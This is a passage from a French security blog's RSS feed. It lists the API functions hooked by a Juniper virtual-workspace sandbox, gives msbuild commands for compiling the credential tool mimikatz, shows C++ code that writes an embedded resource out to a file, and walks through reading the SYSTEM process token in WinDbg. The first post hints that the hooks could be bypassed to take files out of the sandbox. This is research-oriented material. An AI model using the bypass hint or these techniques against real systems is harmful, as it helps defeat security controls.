<p><strong>Cet article ne le détaillera pas</strong>, mais il est tout à fais possible d&#8217;alterner une fonction hookée et une plus personnelle afin de sortir des fichiers de la bulle, d&#8217;en faire rentrer ou exécuter des programmes non autorisés.</p>
<ul>
<li>Registre (<code>advapi32</code>), via <code>InterceptRegistryFunctions</code> :
<ul>
<li><code>RegCreateKeyExW</code></li>
<li><code>RegCreateKeyExA</code></li>
<li><code>RegOpenKeyExW</code></li>
<li><code>RegOpenKeyExA</code></li>
<li><code>RegCloseKey</code></li>
<li><code>RegSetValueExW</code></li>
<li><code>RegDeleteKeyW</code></li>
<li><code>RegDeleteKeyA</code></li>
<li><code>RegDeleteValueW</code></li>
<li><code>RegEnumKeyExW</code></li>
<li><code>RegEnumValueW</code></li>
<li><code>RegQueryInfoKeyW</code></li>
<li><code>RegQueryMultipleValuesW</code></li>
<li><code>RegQueryValueExW</code></li>
<li><code>RegQueryValueW</code></li>
<li><code>RegReplaceKeyW</code></li>
<li><code>RegRestoreKeyW</code></li>
<li><code>RegSaveKeyW</code></li>
<li><code>RegSetKeySecurity</code></li>
<li><code>RegOpenCurrentUser</code></li>
<li><code>SetNamedSecurityInfoW</code></li>
<li><code>GetNamedSecurityInfoW</code></li>
</ul>
</li>
<li>Appels noyau (<code>ntdll</code>), via <code>InterceptNativeFunctions</code> :
<ul>
<li><code>NtCreateFile</code></li>
<li><code>NtOpenFile</code></li>
<li><code>NtClose</code></li>
<li><code>NtQueryInformationFile</code></li>
<li><code>NtSetInformationFile</code></li>
<li><code>NtQueryDirectoryFile</code></li>
<li><code>NtQueryAttributesFile</code></li>
<li><code>NtQueryFullAttributesFile</code></li>
<li><code>NtReadFile</code></li>
<li><code>NtWriteFile</code></li>
<li><code>NtMapViewOfSection</code></li>
<li><code>NtUnmapViewOfSection</code></li>
<li><code>NtCreateSection</code></li>
<li><code>NtOpenSection</code></li>
<li><code>NtQuerySection</code></li>
</ul>
</li>
<li>Fichier et mémoire (<code>kernel32/user32</code>), via <code>InterceptFileFunctions</code>
<ul>
<li><code>FindFirstFileExW</code></li>
<li><code>FindFirstFileW</code></li>
<li><code>FindNextFileW</code></li>
<li><code>FindClose</code></li>
<li><code>SetFileAttributesW</code></li>
<li><code>GetFileAttributesW</code></li>
<li><code>GetFileAttributesExW</code></li>
<li><code>DeleteFileW</code></li>
<li><code>MoveFileW</code></li>
<li><code>MoveFileExW</code></li>
<li><code>MoveFileWithProgressW</code></li>
<li><code>CreateHardLinkW</code></li>
<li><code>CopyFileW</code></li>
<li><code>CopyFileExW</code></li>
<li><code>CreateDirectoryW</code></li>
<li><code>CreateDirectoryExW</code></li>
<li><code>RemoveDirectoryW</code></li>
<li><code>CreateFileW</code></li>
<li><code>SetEndOfFile</code></li>
<li><code>CloseHandle</code></li>
<li><code>FindFirstChangeNotificationW</code></li>
<li><code>ReadDirectoryChangesW</code></li>
<li><code>WriteProcessMemory</code></li>
<li><code>ReadProcessMemory</code></li>
<li><code>LoadLibraryExW</code></li>
<li><code>DuplicateHandle</code></li>
<li><code>FlushViewOfFile</code></li>
<li><code>VirtualAlloc</code></li>
<li><code>SwitchDesktop</code></li>
</ul>
</li>
<li>Impression (<code>gdi32/winspool</code>), via <code>InterceptDeviceFunctions</code>
<ul>
<li><code>CreateDCW</code></li>
<li><code>OpenPrinterW</code></li>
<li><code>EnumPrintersW</code></li>
<li><code>GetDefaultPrinterW</code></li>
<li><code>AddPrinterDriverW</code></li>
<li><code>AddPrinterDriverExW</code></li>
<li><code>WritePrinter</code></li>
</ul>
</li>
<li>Presse-papier (user32), via <code>InterceptClipboardFunctions</code>
<ul>
<li><code>OpenClipboard</code></li>
<li><code>CloseClipboard</code></li>
<li><code>EmptyClipboard</code></li>
<li><code>ChangeClipboardChain</code></li>
<li><code>CountClipboardFormats</code></li>
<li><code>GetClipboardOwner</code></li>
<li><code>EnumClipboardFormats</code></li>
<li><code>GetClipboardData</code></li>
<li><code>GetClipboardFormatNameA</code></li>
<li><code>GetClipboardFormatNameW</code></li>
<li><code>GetClipboardSequenceNumber</code></li>
<li><code>GetClipboardViewer</code></li>
<li><code>GetOpenClipboardWindow</code></li>
<li><code>GetPriorityClipboardFormat</code></li>
<li><code>IsClipboardFormatAvailable</code></li>
<li><code>RegisterClipboardFormatA</code></li>
<li><code>RegisterClipboardFormatW</code></li>
<li><code>SetClipboardData</code></li>
<li><code>SetClipboardViewer</code></li>
</ul>
</li>
<li>Processus (<code>kernel32/advapi32/ole32</code>), via <code>InterceptProcessFunctions</code>
<ul>
<li><code>CreateProcessA</code></li>
<li><code>CreateProcessW</code></li>
<li><code>CreateProcessAsUserA</code></li>
<li><code>CreateProcessAsUserW</code></li>
<li><code>WinExec</code></li>
<li><code>ExitWindowsEx</code></li>
<li><code>ShellExecuteExW</code></li>
<li><code>CoGetClassObject</code></li>
<li><code>CoCreateInstanceEx</code></li>
<li><code>CreateProcessWithLogonW</code></li>
<li><code>OleRun</code></li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/juniper-secure-virtual-workspace-hooks-userland/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>msbuild</title>
		<link>http://blog.gentilkiwi.com/programmation/msbuild?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=msbuild</link>
		<comments>http://blog.gentilkiwi.com/programmation/msbuild#comments</comments>
		<pubDate>Sun, 02 Oct 2011 23:53:55 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[msbuild]]></category>
		<category><![CDATA[vcvarsall]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[x86_amd64]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=926</guid>
		<description><![CDATA[&#8230; mais alors rapidement ! vcvarsall.bat x86 msbuild mimikatz.sln /target:Rebuild /property:Configuration=Release /property:Platform=Win32 /verbosity:d vcvarsall.bat x86_amd64 msbuild mimikatz.sln /target:Rebuild /property:Configuration=Release /property:Platform=x64 /verbosity:d En plus ça fait de jolies couleurs :)]]></description>
			<content:encoded><![CDATA[<p>&#8230; mais alors rapidement !</p>
<h2><code>vcvarsall.bat x86</code></h2>
<p><code>msbuild mimikatz.sln /target:Rebuild /property:Configuration=Release /property:Platform=Win32 /verbosity:d</code></p>
<h2><code>vcvarsall.bat x86_amd64</code></h2>
<p><code>msbuild mimikatz.sln /target:Rebuild /property:Configuration=Release /property:Platform=x64 /verbosity:d</code></p>
<p>En plus ça fait de jolies couleurs :)</p>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/10/msbuild.png" alt="msbuild" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/programmation/msbuild/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sortir un fichier depuis une ressource RCDATA</title>
		<link>http://blog.gentilkiwi.com/programmation/fichier-ressource-rcdata?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=fichier-ressource-rcdata</link>
		<comments>http://blog.gentilkiwi.com/programmation/fichier-ressource-rcdata#comments</comments>
		<pubDate>Sat, 20 Aug 2011 17:57:04 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[FindResource]]></category>
		<category><![CDATA[FreeResource]]></category>
		<category><![CDATA[LoadResource]]></category>
		<category><![CDATA[LockResource]]></category>
		<category><![CDATA[MAKEINTRESOURCE]]></category>
		<category><![CDATA[RCDATA]]></category>
		<category><![CDATA[RT_RCDATA]]></category>
		<category><![CDATA[SizeofResource]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=842</guid>
		<description><![CDATA[Quelques lignes pour remettre sous forme de fichier une ressource préalablement incorporée. Par exemple, via le fichier RC : Puis ce bout de code : Référence : http://msdn.microsoft.com/library/ff468901.aspx]]></description>
			<content:encoded><![CDATA[<p>Quelques lignes pour remettre sous forme de fichier une ressource préalablement incorporée.</p>
<p>Par exemple, via le fichier RC :</p>
<pre class="brush: plain; title: ; notranslate">42	RCDATA	&quot;../release/fichier.dll&quot;</pre>
<p>Puis ce bout de code :</p>
<pre class="brush: cpp; title: ; notranslate">bool RSCRCtoFile(DWORD id, const wchar_t * file)
{
	bool reussite = false;
	if(HRSRC maRefRessource = FindResource(NULL, MAKEINTRESOURCE(id), RT_RCDATA))
	{
		if(DWORD tailleRessource = SizeofResource(NULL, maRefRessource))
		{
			if(HGLOBAL maRessource = LoadResource(NULL, maRefRessource))
			{
				if(LPVOID ptrRessource = LockResource(maRessource))
				{
					if(HANDLE hFile = CreateFile(file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL))
					{
						DWORD dwBytesWritten;
						reussite = WriteFile(hFile, ptrRessource, tailleRessource, &amp;dwBytesWritten, NULL) != 0;
						CloseHandle(hFile);
					}
				}
				FreeResource(maRessource);
			}
		}
	}
	return reussite;
}</pre>
<p>Référence : <a href="http://msdn.microsoft.com/library/ff468901.aspx">http://msdn.microsoft.com/library/ff468901.aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/programmation/fichier-ressource-rcdata/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4lulz</title>
		<link>http://blog.gentilkiwi.com/securite/4lulz?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=4lulz</link>
		<comments>http://blog.gentilkiwi.com/securite/4lulz#comments</comments>
		<pubDate>Fri, 29 Jul 2011 20:41:41 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Rétro-ingénierie]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[kaspersky]]></category>
		<category><![CDATA[lol]]></category>
		<category><![CDATA[lulz]]></category>
		<category><![CDATA[segment]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=823</guid>
		<description><![CDATA[Visiblement chez Kaspersky on a le sens de lulz dans les segments de kl1.sys&#8230;]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/07/kaspersky_4lulz.png" alt="kaspersky 4lulz" /></p>
<p>Visiblement chez Kaspersky on a le sens de <code><a href="http://fr.wikipedia.org/wiki/LOL_%28argot_internet%29" title="LOL">lulz</a></code> dans les segments de <code>kl1.sys</code>&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/4lulz/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NetBeans 7</title>
		<link>http://blog.gentilkiwi.com/programmation/netbeans-7?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=netbeans-7</link>
		<comments>http://blog.gentilkiwi.com/programmation/netbeans-7#comments</comments>
		<pubDate>Mon, 18 Jul 2011 22:33:10 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[args4j]]></category>
		<category><![CDATA[httpclient]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[netbeans]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=801</guid>
		<description><![CDATA[parcequ&#8217;il n&#8217;y a pas que le c/c++ dans la vie parceque je n&#8217;aime pas Eclipse Il est judicieux séparer les composants JDK et IDE : JDK : http://www.oracle.com/technetwork/java/javase/downloads/ prendre le JDK (pas le JRE), en version x86 ou x64, selon &#8230; <a href="http://blog.gentilkiwi.com/programmation/netbeans-7">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><em>parcequ&#8217;il n&#8217;y a pas que le c/c++ dans la vie<br />
parceque je n&#8217;aime pas Eclipse</em></p>
<p>Il est judicieux séparer les composants JDK et IDE :</p>
<ul>
<li>JDK : <a href="http://www.oracle.com/technetwork/java/javase/downloads/">http://www.oracle.com/technetwork/java/javase/downloads/</a><br />
prendre le JDK (pas le JRE), en version x86 ou x64, selon vos croyances</li>
<li>IDE : <a href="http://netbeans.org/downloads/">http://netbeans.org/downloads/</a><br />
a priori la version Java SE, Français, sous Windows</li>
</ul>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/07/netbeans70.png" alt="netbeans 7.0" /></p>
<p>Quelques librairies à avoir :</p>
<ul>
<li>BouncyCastle : <a href="http://www.bouncycastle.org/latest_releases.html">http://www.bouncycastle.org/latest_releases.html</a></li>
<li>Apache HTTP Components : <a href="http://hc.apache.org/">http://hc.apache.org/</a></li>
<li>Args4j : <a href="http://args4j.kohsuke.org/">http://args4j.kohsuke.org/</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/programmation/netbeans-7/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visual Studio 2010 Express</title>
		<link>http://blog.gentilkiwi.com/programmation/visual-studio-2010-express?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-2010-express</link>
		<comments>http://blog.gentilkiwi.com/programmation/visual-studio-2010-express#comments</comments>
		<pubDate>Wed, 13 Jul 2011 23:39:01 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[compilateur]]></category>
		<category><![CDATA[express]]></category>
		<category><![CDATA[sdk]]></category>
		<category><![CDATA[visual c++]]></category>
		<category><![CDATA[visual studio]]></category>
		<category><![CDATA[wdk]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=689</guid>
		<description><![CDATA[Juste quelques petits liens pratiques : Visual Studio 2010 Express : vs2010expressfra.iso son SP1 : vs2010sp1dvd1.iso Les redistribuables : vcredist_x86.exe et vcredist_x64.exe (ne pas oublier de faire les mises à jour) Les versions Express des outils Microsoft sont des versions &#8230; <a href="http://blog.gentilkiwi.com/programmation/visual-studio-2010-express">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Juste quelques petits liens pratiques :</p>
<ul>
<li>Visual Studio 2010 Express : <a href="http://download.microsoft.com/download/f/8/9/f897c029-6a6e-4370-86c8-4bd9273cddcf/vs2010expressfra.iso">vs2010expressfra.iso</a></li>
<li>son SP1 : <a href="http://download.microsoft.com/download/e/b/a/eba0a152-f426-47e6-9e3f-efb686e3ca20/vs2010sp1dvd1.iso">vs2010sp1dvd1.iso</a></li>
<li>Les redistribuables : <a href="http://download.microsoft.com/download/5/b/c/5bc5dbb3-652d-4dce-b14a-475ab85eef6e/vcredist_x86.exe">vcredist_x86.exe</a> et  <a href="http://download.microsoft.com/download/3/2/2/3224b87f-cfa0-4e70-bda3-3de650efeba5/vcredist_x64.exe">vcredist_x64.exe</a><br />
(ne pas oublier de faire les mises à jour)</li>
</ul>
<p>Les versions Express des outils Microsoft sont des versions allégées, sans limite d&#8217;utilisation dans le temps : <a href="http://www.microsoft.com/express">http://www.microsoft.com/express</a></p>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/07/vs2010.png" alt="Visual Studio 2010" /></p>
<p>Certaines fonctionnalités ne sont pas disponibles : <a href="http://msdn.microsoft.com/library/hs24szh9.aspx">http://msdn.microsoft.com/library/hs24szh9.aspx</a> (comme la compilation x64 ou les MFC pour Visual C++)</p>
<p>En bonus pratique :</p>
<ul>
<li>Le SDK Windows : <a href="http://download.microsoft.com/download/f/1/0/f10113f5-b750-4969-a255-274341ac6bce/grmsdk_en_dvd.iso">grmsdk_en_dvd.iso</a> (x86) et <a href="http://download.microsoft.com/download/f/1/0/f10113f5-b750-4969-a255-274341ac6bce/grmsdkx_en_dvd.iso">grmsdkx_en_dvd.iso</a> (x64)</li>
<li>Le WDK Windows : <a href="http://download.microsoft.com/download/4/a/2/4a25c7d5-efbe-4182-b6a9-ae6850409a78/grmwdk_en_7600_1.iso">grmwdk_en_7600_1.iso</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/programmation/visual-studio-2010-express/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WinDBG : Process et son Token</title>
		<link>http://blog.gentilkiwi.com/retro-ingenierie/windbg-process-et-son-token?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=windbg-process-et-son-token</link>
		<comments>http://blog.gentilkiwi.com/retro-ingenierie/windbg-process-et-son-token#comments</comments>
		<pubDate>Sun, 26 Jun 2011 11:48:06 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Rétro-ingénierie]]></category>
		<category><![CDATA[eprocess]]></category>
		<category><![CDATA[ex_fast_ref]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[PsInitialSystemProcess]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[token]]></category>
		<category><![CDATA[tokenid]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=663</guid>
		<description><![CDATA[petite utilisation de WinDbg&#8230; Par extensions Processus &#8216;system&#8217; Jeton de sécurité du processus Par accès direct en mémoire Processus &#8216;system&#8217; Référence au token de sécurité par structure &#8216;ex_fast_ref&#8217; Jeton de sécurité du processus (avec application du masque sur le compteur) &#8230; <a href="http://blog.gentilkiwi.com/retro-ingenierie/windbg-process-et-son-token">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><em>petite utilisation de WinDbg&#8230;</em></p>
<h2>Par extensions</h2>
<h3>Processus &#8216;system&#8217;</h3>
<pre class="brush: plain; title: ; notranslate">lkd&gt; !process 0 1 system
PROCESS 82da3648  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00e02000  ObjectTable: e1001c58  HandleCount: 614.
    Image: System
    VadRoot 82a6e0f0 Vads 4 Clone 0 Private 3. Modified 11050. Locked 0.
    DeviceMap e10000a8
    Token                             e1000758
[...]</pre>
<h3>Jeton de sécurité du processus</h3>
<pre class="brush: plain; title: ; notranslate">lkd&gt; !token -n 0xe1000758
_TOKEN e1000758
TS Session ID: 0
User: S-1-5-18 (Well Known Group: AUTORITE NT\SYSTEM)
[...]
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x89 ( Token NOT in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3e9)
RestrictedSidCount: 0      RestrictedSids: 00000000
OriginatingLogonSession: 0</pre>
<h2>Par accès direct en mémoire</h2>
<h3>Processus &#8216;system&#8217;</h3>
<pre class="brush: plain; title: ; notranslate">lkd&gt; dt nt!_eprocess poi(PsInitialSystemProcess)
[...]
   +0x094 UniqueProcessId  : 0x00000004 Void
[...]
   +0x0d8 Token            : _EX_FAST_REF
[...]
   +0x164 ImageFileName    : [16]  &quot;System&quot;
[...]</pre>
<h3>Référence au token de sécurité par structure &#8216;ex_fast_ref&#8217;</h3>
<pre class="brush: plain; title: ; notranslate">lkd&gt; dt nt!_ex_fast_ref poi(PsInitialSystemProcess)+0x0d8
   +0x000 Object           : 0xe100075d Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0xe100075d</pre>
<h3>Jeton de sécurité du processus (avec application du masque sur le compteur)</h3>
<ul>
<li>En x86, masque de 3 bits : <code>dt nt!_token -r1 @@(0xe100075d &#038; ~7)</code></li>
<li>En x64, masque de 4 bits : <code>dt nt!_token -r1 @@(0xfffff8a000004048 &#038; ~15)</code></li>
</ul>
<pre class="brush: plain; title: ; notranslate">lkd&gt; dt nt!_token -r1 @@(0xe100075d &amp; ~7)
   +0x000 TokenSource      : _TOKEN_SOURCE
      +0x000 SourceName       : [8]  &quot;*SYSTEM*&quot;
      +0x008 SourceIdentifier : _LUID
   +0x010 TokenId          : _LUID
      +0x000 LowPart          : 0x3ea
      +0x004 HighPart         : 0n0
   +0x018 AuthenticationId : _LUID
      +0x000 LowPart          : 0x3e7
      +0x004 HighPart         : 0n0
   +0x020 ParentTokenId    : _LUID
      +0x000 LowPart          : 0
      +0x004 HighPart         : 0n0
[...]
   +0x040 ModifiedId       : _LUID
      +0x000 LowPart          : 0x3e9
      +0x004 HighPart         : 0n0
   +0x048 SessionId        : 0
[...]
   +0x080 TokenType        : 1 ( TokenPrimary )
   +0x084 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x088 TokenFlags       : 0x89 ''
   +0x089 TokenInUse       : 0 ''
[...]
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/retro-ingenierie/windbg-process-et-son-token/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

